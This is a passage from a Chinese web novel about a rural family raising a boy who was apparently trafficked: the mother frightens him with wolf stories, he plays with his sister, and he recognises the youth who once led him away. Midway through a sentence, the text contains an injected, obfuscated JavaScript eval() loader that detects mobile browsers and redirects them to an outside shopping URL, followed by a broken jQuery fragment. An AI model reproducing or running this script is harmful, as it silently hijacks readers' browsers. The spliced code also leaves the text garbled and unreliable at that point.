两个娃回到家,灶膛里的火已经灭了,铁锅里是半生不熟的冷米。
姜盼急得跺脚:“来不及了,妈快回来了。”
她又慌又怕,手忙脚乱地重新点火,又赶紧去水缸边洗菜。
饭还没焖好,院子里就传来脚步声。
李秀兰挎着篮子回来了,一进厨房,看到女儿忙乱的样子,眉头立刻皱了起来:“饭还没好?”
姜盼嗫嚅着,把事情讲了一遍。
李秀兰沉着脸吩咐姜盼把菜炒好,拉起姜根生进了里屋。
她拿出针线笸箩,让根生脱了裤子,开始缝补。
“根生,你知道咱们村在哪儿不?”
姜根生摇摇头。
“在深山里。”李秀兰停下针,抬眼看他,“想出去,坐汽车都得颠一个多钟头,那还只是到镇上。镇上离咱们这儿,隔着一座又一座山。”
她低下头,继续手里的活计,同时念叨着:“你要是迷了路,走进深山老林里,天黑了,什么都瞧不见,就你一个人,哭都没人听得见。那山里头,有狼,眼睛绿幽幽的,专挑落单的小孩叼走。还有大老虎,一口就能吞下你这么个小不点。”
姜根生的身体微微发抖。
李秀兰缝好最后一针,打了个结,用牙齿咬断线头。
“你要是被狼吃了,你爹你妈该多心疼啊。盼儿姐姐对你这么好,给你糖吃,陪你玩,哄你睡觉,给你讲故事,你要是不见了,她得哭成什么样。”
姜根生眼里泛上水光。
“你怕不怕被狼叼走?怕不怕被老虎吃掉?”李秀兰看着他问。
姜根生赶紧点头,小手不自觉地攥紧了衣角。
“那就记住妈的话。”李秀兰把补好的裤子抖开,递给他,“以后乖乖的,好好跟着你姐,就在村子里玩,不许一个人跑到村子外面去,更不能往山里跑。记住了吗?”
“记住了。”姜根生小声说。
李秀兰看着他穿好裤子,这才露出一点笑意,摸了摸他的头:“真是妈的乖儿子。”
外间传来姜盼怯生生的声音:“妈,饭好了,菜也炒好了。”
李秀兰匆匆扒了几口饭,又把饭菜装进饭盒里,准备给姜文福送去。
临走前,她站在门口,看着并排站着的儿女,严肃地说:“今天弟弟跑出去这个事,就别跟你爸提了。你爸天天够辛苦了,别让他操心。他要是问起根生这裤子,就说是你自己在院子里摔跤蹭破的,记住了吗?”
“记住了。”两个孩子异口同声。
“盼儿,你是姐姐,得多长点心,把弟弟看好了。外面那山,不是玩的地方。真跑进去了,找都找不回来。”
姜盼用力点头,小脸绷得紧紧的,只觉得肩上的担子沉甸甸的。
李秀兰嘱咐完,挎上饭篮子,匆匆出了门。
遇到村邻,问起上午根生走丢的事,李秀兰只笑着说:“孩子是想去地里找我们,没走丢。不过小孩子确实让人操心,还得麻烦街坊邻居帮忙多照应着点。”
大家自然连声应下。
厨房里就剩下两个娃,慢吞吞地吃饭。
姜盼给根生夹菜:“你可千万别乱跑了,山里有大老虎,可吓人了。”
姜根生点了点头。
晚上姜文福回来,并没注意到儿子的裤子破过又补好。他如往常一样,吃饭时喝了点酒,饭后坐在摇椅里,拧开收音机,眯着眼听里面咿咿呀呀的唱腔。
李秀兰催着两个孩子洗漱上床,再给姜文福端来洗脚水。等水泡得凉了,再倒掉,夫妻俩就熄了灯,也上床了。
姜根生白天受了累,又受了怕,脑袋一沾枕头就睡沉了。
梦里他又站在那条土路上。
路两边的山动了起来,黑压压地朝他挤过来,山壁上裂开一道道口子,变成嘴巴,变成眼睛。那些嘴一张一合,朝他喷出火,喷出水,呼哧呼哧地响。
他想跑,腿却软得像踩在棉花里,一股热流从身下涌出来。
他猛地睁开眼。
□□那里湿漉漉的,热乎乎的,褥子也湿了一大片。
身后,姜盼睡得正沉,呼吸匀净。
他僵着不敢动,不知该怎么办,憋了好一会儿,轻轻推了推姜盼。
“姐。”
姜盼半梦半醒地应了一声,眼睛眯开一条缝,忽然觉得身子底下湿哒哒的,用手一摸,“嗷”地一声坐了起来。
姜根生缩在床角,不敢看她。
这天之后,每晚上床前,姜根生做的最后一件事,必定是去趟茅房。
春天就在这一趟一趟的夜里,悄悄占领了淖儿村。
柳絮飘得沸沸扬扬,田埂上野花开得热闹。
李秀兰暗中观察着。
姜盼每天带着根生,像两只出了笼的小兽,在村子里撒欢。年纪大些的孩子都去上学了,姜盼自然而然就成了孩子王。
她带着一帮小不点去水渠边挖泥鳅,裤腿卷到膝盖,赤脚踩在冰凉的泥水里,手在浑浊的水里摸来摸去,摸到滑溜溜的一条就兴奋地大叫。
有时候姜根生摸到,抓不住,急急地喊:“姐!姐!”姜盼就一个箭步冲过去,眼疾手快地捏住,扔进罐子里。
她还敢爬树,挑那些枝杈低矮的老槐树,蹭蹭几下就蹿上去,骑在树杈上,得意地朝下面仰着脑袋的孩子们挥手。
姜根生起初只在树下仰头看,后来在姜盼的怂恿和保护下,也战战兢兢地爬过几回,小脸兴奋得通红。
树上结的果子又小又酸,但对姜盼来说,也是难得的零嘴了。
她每每摘下一大把,从里面挑出最红的几颗,塞进姜根生嘴里。
根生酸得眼泪直流,眉毛皱成一团,也不敢吐,怕姐姐伤心,硬着头皮,一口一口咽下去。
姜盼瞅着他那副样子,哈哈大笑。
玩归玩,疯归疯,姜盼心里始终揣着个钟。每天到了差不多的时候,不管玩得多起劲,她都会招呼着意犹未尽的孩子们散了,拉起弟弟一路小跑回家。生火、择菜、煮饭,总能赶在李秀兰回来前,把简单的饭菜张罗好。
姜根生跟在姐姐身后,上山下河,摸爬滚打,刚来时那股怯生生的沉默,被春风泥土和孩子们的嬉笑声冲淡了。
他脸上开始有了属于这个年纪的没心没肺的笑容,奔跑时也会发出咯咯的笑声。身上的衣服几乎没干净过,总是沾着泥点草汁,膝盖和手肘处磨得发白。
他不再只是埋头吃饭,而是叽叽喳喳地跟姜盼争论今天谁摸的泥鳅更大,谁学鸟叫学得更像,或者说春芽今天摔了个多么可笑的屁股墩儿。
孩子们的童音和清亮的笑声让沉闷的堂屋都敞亮了起来。
李秀兰看着儿子明显开朗了许多的性子,听着他嘴里越来越多地蹦出“我姐说”“我姐带我”,心里那根绷着的弦终于松了。
她笑着把醪糟鸡蛋推到儿子面前,催促他趁热吃,眼底满是慈爱。
姜盼看了一眼那碗蛋汤,又偷瞄姜文福一眼,赶紧收回视线,低头吃青菜。
一转眼到了秋收时节,最是忙碌。
李秀兰弟媳又怀上了,反应特别大,身子沉得下不了地。
李秀兰先跟着姜文福把自家地里的活忙完,之后天天往娘家跑,帮弟弟家收秋。一天到晚的,天黑了才沾家。
姜文福倒是闲下来了。他拉回来一车旧砖头,自己动手,拌了黄泥,在堂屋另一侧三分之一处,砌了一堵墙,再装上一扇粗糙结实的木门,隔出了一间小里屋。
原本狭长的堂屋变得方正。
新隔出来的小里屋面积不大,姜文福可着墙的尺寸,打了一张不标准的双人床,床板架高,三面贴着墙壁,严丝合缝地嵌了进去。
李秀兰抽空把一床旧棉被改成褥子,铺在新床上。又将自己陪嫁的全新的大红被面找出来,配上新弹的棉花,纳了一床又厚又软的新被子。
被子很大,足够两个孩子盖,还能富富裕裕地裹住边角。
姜盼觉得这床好大好大,她兴奋地和根生在床上蹦跳,每晚睡前都要玩用枕头打架的游戏。
至于那张单人旧木板床,被姜文福三两下拆了,挑了几根齐整的,在灶房旁边挨着院墙,挖了四个浅坑,埋下木桩子当立柱,四面和顶子用旧木板拼拼凑凑钉了上去,搭出一个小棚子。
棚子不大,刚够一个人转身。
姜文福看着自己的劳动成果,很有成就感,只等夏天一到,弄个大铁皮桶,从桶底接上胶皮管子,挂在棚顶。
早上在铁皮桶里灌满凉水,晒到日头落山,水就温了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920187|213424||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,一家人就有地冲凉了。
换到大床后没多久,一天下午,阳光很好,姜盼带着姜根生疯玩,渴了回家喝水。
刚进院子,姜盼就看见爸妈那间屋的窗根底下,扒着个半大小子,脸几乎贴在窗缝上,不知在往里看什么。
姜盼看清了那人,扬声笑道:“阿朗哥!”
扒在窗下的陈朗闻声猛地回头,脸涨得有点红,眼中有种未褪尽的兴奋。见是姜盼,他立刻冲过来,把二人挡在院门口。
姜盼垫着脚,视线越过陈朗肩头,往堂屋方向瞟,嘴里问:“阿朗哥,你怎么不进屋?二……”
她忽然想起不能当着根生的面提二婶,赶紧把后面几个字咽了回去。
但她知道,二婶来不一定带着陈朗,可陈朗来了,二婶一定也来了。陈朗也管二婶叫“二婶”。
陈朗瞟了一眼根生,就不再搭理,只笑着对姜盼说:“哥给你带礼物了,在外头。走,带你去看。”
姜盼一听有礼物,双眼发光,立刻把回家喝水抛到了脑后,转头跟着陈朗往院子外走。
姜根生紧抿着唇,默默地跟在姐姐身后。
陈朗回过头,瞥了一眼静悄悄的堂屋,脸上闪过鄙夷之色。
陈朗一共没来过姜家几次,但每次来,他都给姜盼带村里没有的稀罕玩意。
这次是一个铅笔盒。不是村里小孩用的窄铁皮条,而是个包着软垫两面都能开盖的豪华款。
盒面上印着个身穿红色球衣的短发男子,正腾空而起,手臂上扬,充满动感。
“这是樱木花道。”陈朗指着介绍。
姜盼不认识,她兴奋地按着盒上的小按钮,看削笔刀弹出,橡皮盒打开,小声念叨了一句:“好想上学呀。”
陈朗挑眉:“你几岁了,还没上学?”
“爸说等弟弟再大点,我们俩一块去。”姜盼说到这,忽然想起什么,看了眼拉着小脸的姜根生,又看向陈朗,“阿朗哥,你只给我带了礼物,我弟弟怎么办?”
陈朗无所谓地笑笑:“我不知道他成你弟弟了。没事,下次来,我给他也带一个。”
姜盼正要谢谢,姜根生硬邦邦地甩出三个字:“我不要。”
陈朗斜睨他,语气懒洋洋地:“爱要不要。”
正说着,堂屋那边传来开门声和二婶说话声。
姜盼条件反射般拉起姜根生的手,对陈朗说:“阿朗哥,我不能跟你说了,我得先带根生躲一躲。”
说完,她拉着姜根生跑进了隔壁春芽家。
春芽也被那神奇的铅笔盒吸引了,她与姜盼头碰着头,你一下我一下地按着那些小机关。
“这是樱木花道。”姜盼学着陈朗的样子,看到春芽露出羡慕的眼神,心里不免得意。
玩了一会儿,姜盼想起弟弟:“根生,你也来玩呀。”
姜根生扭开头:“我不玩。”
姜盼以为他是没有礼物所以不高兴,忙安慰:“没关系,等咱们上学了,这个我们一起用,反正咱俩也是一起上学的。”
“我不要。”姜根生厌恶道,“我不要他的东西。他不是好人,他是坏人,是骗子。”
姜盼愣住了。
春芽嘴快:“阿朗哥是好人,他还给我们带糖吃。”
姜盼问:“他欺负过你吗?”
姜根生脸绷起来,眉头皱着。
他说不清楚,好多事他已经忘了,但是看到陈朗那张脸,他又恍惚地想起些。
就是这个“大哥哥”,在某一天,说要带他去玩,然后把他交给了二婶,之后就是漫长的颠簸的饥饿寒冷的旅程。
他盯着那个咔嗒作响的红色铅笔盒,小手在身后攥成了拳。
陈朗这张脸撬开了他模糊的记忆。
他似乎有过一个家,在那个家,他每天都能吃到醪糟鸡蛋,在那个家,他不用担心被狼吃掉。
姜盼见他没反应,又问了一遍:“他欺负过你吗?他要是欺负你,你跟我说,我去找他。”
姜根生看向姐姐,半晌摇摇头:“我就是不喜欢他。”
春芽说:“那下次阿朗哥再来,你们就来我家,不见他就好了。”
姜盼看向根生,眼睛亮亮的,仿佛在问他的意见。
姜根生点点头。